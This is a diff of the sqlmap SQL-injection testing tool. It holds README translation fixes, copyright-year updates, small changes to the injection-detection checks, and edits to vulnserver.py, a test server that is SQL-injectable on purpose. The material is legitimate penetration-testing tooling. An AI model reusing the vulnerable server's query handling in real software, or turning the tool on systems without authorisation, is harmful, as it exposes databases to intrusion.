[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với
|
sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với
|
||||||
một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập và một loạt các tùy chọn bao gồm lấy dấu cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ
|
một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành từ xa.
|
||||||
liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành thông qua kết nối ngoài.
|
|
||||||
|
|
||||||
Ảnh chụp màn hình
|
Ảnh chụp màn hình
|
||||||
----
|
----
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng trình bày một số tính năng trên wiki.
|
Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng trình bày một số tính năng có thể tìm thấy trong wiki.
|
||||||
|
|
||||||
Cài đặt
|
Cài đặt
|
||||||
----
|
----
|
||||||
@@ -19,11 +18,11 @@ Cài đặt
|
|||||||
|
|
||||||
Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
|
|
||||||
Tốt hơn là bạn có thể tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap):
|
Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap hoạt động hiệu quả với [Python](http://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì nền tảng nào.
|
sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì hệ điều hành nào.
|
||||||
|
|
||||||
Sử dụng
|
Sử dụng
|
||||||
----
|
----
|
||||||
@@ -36,18 +35,18 @@ Sử dụng
|
|||||||
|
|
||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Bạn có thể tìm thấy video chạy mẫu [tại đây](https://asciinema.org/a/46601).
|
Bạn có thể xem video chạy thử [tại đây](https://asciinema.org/a/46601).
|
||||||
Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh).
|
Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh).
|
||||||
|
|
||||||
Liên kết
|
Liên kết
|
||||||
----
|
----
|
||||||
|
|
||||||
* Trang chủ: http://sqlmap.org
|
* Trang chủ: https://sqlmap.org
|
||||||
* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Lịch sử thay nguồn đổi cấp dữ liệu RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues
|
* Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki
|
* Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
|
sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。
|
||||||
|
|
||||||
演示截图
|
演示截图
|
||||||
----
|
----
|
||||||
@@ -20,7 +20,7 @@ sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6**, **2.7** 和 **3.x** 版本的任何平台上
|
sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2.7** 和 **3.x** 版本的任何平台上
|
||||||
|
|
||||||
使用方法
|
使用方法
|
||||||
----
|
----
|
||||||
@@ -38,12 +38,12 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6**, **2.7
|
|||||||
链接
|
链接
|
||||||
----
|
----
|
||||||
|
|
||||||
* 项目主页: http://sqlmap.org
|
* 项目主页: https://sqlmap.org
|
||||||
* 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki
|
* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
"""
|
"""
|
||||||
beep.py - Make a beep sound
|
beep.py - Make a beep sound
|
||||||
|
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
"""
|
"""
|
||||||
cloak.py - Simple file encryption/compression utility
|
cloak.py - Simple file encryption/compression utility
|
||||||
|
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
"""
|
"""
|
||||||
dbgtool.py - Portable executable to ASCII debug script converter
|
dbgtool.py - Portable executable to ASCII debug script converter
|
||||||
|
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Removes trailing spaces from blank lines inside project files
|
# Removes trailing spaces from blank lines inside project files
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Stress test against Python3
|
# Stress test against Python3
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Removes duplicate entries in wordlist like files
|
# Removes duplicate entries in wordlist like files
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
|
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# sudo pip install modernize
|
# sudo pip install modernize
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
|
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs py3diatra on all python files (prerequisite: pip install pydiatra)
|
# Runs py3diatra on all python files (prerequisite: pip install pydiatra)
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
|
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \;
|
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \;
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -30,7 +30,7 @@ setup(
|
|||||||
long_description_content_type='text/x-rst',
|
long_description_content_type='text/x-rst',
|
||||||
author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
|
author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
|
||||||
author_email='bernardo@sqlmap.org, miroslav@sqlmap.org',
|
author_email='bernardo@sqlmap.org, miroslav@sqlmap.org',
|
||||||
url='http://sqlmap.org',
|
url='https://sqlmap.org',
|
||||||
project_urls={
|
project_urls={
|
||||||
'Documentation': 'https://github.com/sqlmapproject/sqlmap/wiki',
|
'Documentation': 'https://github.com/sqlmapproject/sqlmap/wiki',
|
||||||
'Source': 'https://github.com/sqlmapproject/sqlmap/',
|
'Source': 'https://github.com/sqlmapproject/sqlmap/',
|
||||||
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -149,7 +149,7 @@ manual <https://github.com/sqlmapproject/sqlmap/wiki/Usage>`__.
|
|||||||
Links
|
Links
|
||||||
-----
|
-----
|
||||||
|
|
||||||
- Homepage: http://sqlmap.org
|
- Homepage: https://sqlmap.org
|
||||||
- Download:
|
- Download:
|
||||||
`.tar.gz <https://github.com/sqlmapproject/sqlmap/tarball/master>`__
|
`.tar.gz <https://github.com/sqlmapproject/sqlmap/tarball/master>`__
|
||||||
or `.zip <https://github.com/sqlmapproject/sqlmap/zipball/master>`__
|
or `.zip <https://github.com/sqlmapproject/sqlmap/zipball/master>`__
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
"""
|
"""
|
||||||
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
|
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
|
||||||
|
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -49,7 +49,7 @@ SCHEMA = """
|
|||||||
INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset');
|
INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset');
|
||||||
INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny');
|
INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny');
|
||||||
INSERT INTO users (id, name, surname) VALUES (3, 'wu', '179ad45c6ce2cb97cf1029e212046e81');
|
INSERT INTO users (id, name, surname) VALUES (3, 'wu', '179ad45c6ce2cb97cf1029e212046e81');
|
||||||
INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (http://sqlmap.org)', 'user agent header');
|
INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (https://sqlmap.org)', 'user agent header');
|
||||||
INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
|
INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -60,6 +60,7 @@ _conn = None
|
|||||||
_cursor = None
|
_cursor = None
|
||||||
_lock = None
|
_lock = None
|
||||||
_server = None
|
_server = None
|
||||||
|
_alive = False
|
||||||
|
|
||||||
def init(quiet=False):
|
def init(quiet=False):
|
||||||
global _conn
|
global _conn
|
||||||
@@ -110,6 +111,7 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
elif self.data.startswith('<') and self.data.endswith('>'):
|
elif self.data.startswith('<') and self.data.endswith('>'):
|
||||||
params.update(dict((_[0], _[1].replace("'", "'").replace(""", '"').replace("<", '<').replace(">", '>').replace("&", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
|
params.update(dict((_[0], _[1].replace("'", "'").replace(""", '"').replace("<", '<').replace(">", '>').replace("&", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
|
||||||
else:
|
else:
|
||||||
|
self.data = self.data.replace(';', '&') # Note: seems that Python3 started ignoring parameter splitting with ';'
|
||||||
params.update(parse_qs(self.data))
|
params.update(parse_qs(self.data))
|
||||||
|
|
||||||
for name in self.headers:
|
for name in self.headers:
|
||||||
@@ -235,14 +237,18 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
return
|
return
|
||||||
|
|
||||||
def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
|
def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
|
||||||
|
global _alive
|
||||||
global _server
|
global _server
|
||||||
try:
|
try:
|
||||||
|
_alive = True
|
||||||
_server = ThreadingServer((address, port), ReqHandler)
|
_server = ThreadingServer((address, port), ReqHandler)
|
||||||
print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
|
print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
|
||||||
_server.serve_forever()
|
_server.serve_forever()
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
_server.socket.close()
|
_server.socket.close()
|
||||||
raise
|
raise
|
||||||
|
finally:
|
||||||
|
_alive = False
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
try:
|
try:
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -404,8 +404,8 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
# Parse boundary's <prefix>, <suffix> and <ptype>
|
# Parse boundary's <prefix>, <suffix> and <ptype>
|
||||||
prefix = boundary.prefix if boundary.prefix else ""
|
prefix = boundary.prefix or ""
|
||||||
suffix = boundary.suffix if boundary.suffix else ""
|
suffix = boundary.suffix or ""
|
||||||
ptype = boundary.ptype
|
ptype = boundary.ptype
|
||||||
|
|
||||||
# Options --prefix/--suffix have a higher priority (if set by user)
|
# Options --prefix/--suffix have a higher priority (if set by user)
|
||||||
@@ -435,7 +435,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
origValue = origValue.split(kb.customInjectionMark)[0]
|
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||||
origValue = re.search(r"(\w*)\Z", origValue).group(1)
|
origValue = re.search(r"(\w*)\Z", origValue).group(1)
|
||||||
|
|
||||||
# Threat the parameter original value according to the
|
# Treat the parameter original value according to the
|
||||||
# test's <where> tag
|
# test's <where> tag
|
||||||
if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
|
if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
|
||||||
if kb.tamperFunctions:
|
if kb.tamperFunctions:
|
||||||
@@ -509,7 +509,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
||||||
|
|
||||||
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
||||||
if not any((kb.negativeLogic, conf.string, conf.notString)):
|
if not any((kb.negativeLogic, conf.string, conf.notString, conf.code)):
|
||||||
try:
|
try:
|
||||||
ratio = 1.0
|
ratio = 1.0
|
||||||
seqMatcher = getCurrentThreadData().seqMatcher
|
seqMatcher = getCurrentThreadData().seqMatcher
|
||||||
@@ -642,7 +642,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
||||||
|
|
||||||
if output:
|
if output:
|
||||||
result = output == "1"
|
result = output == '1'
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
infoMsg = "%sparameter '%s' is '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
infoMsg = "%sparameter '%s' is '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||||
@@ -991,7 +991,7 @@ def checkSuhosinPatch(injection):
|
|||||||
Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
|
Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if injection.place == PLACE.GET:
|
if injection.place in (PLACE.GET, PLACE.URI):
|
||||||
debugMsg = "checking for parameter length "
|
debugMsg = "checking for parameter length "
|
||||||
debugMsg += "constraining mechanisms"
|
debugMsg += "constraining mechanisms"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
@@ -1340,44 +1340,6 @@ def checkStability():
|
|||||||
|
|
||||||
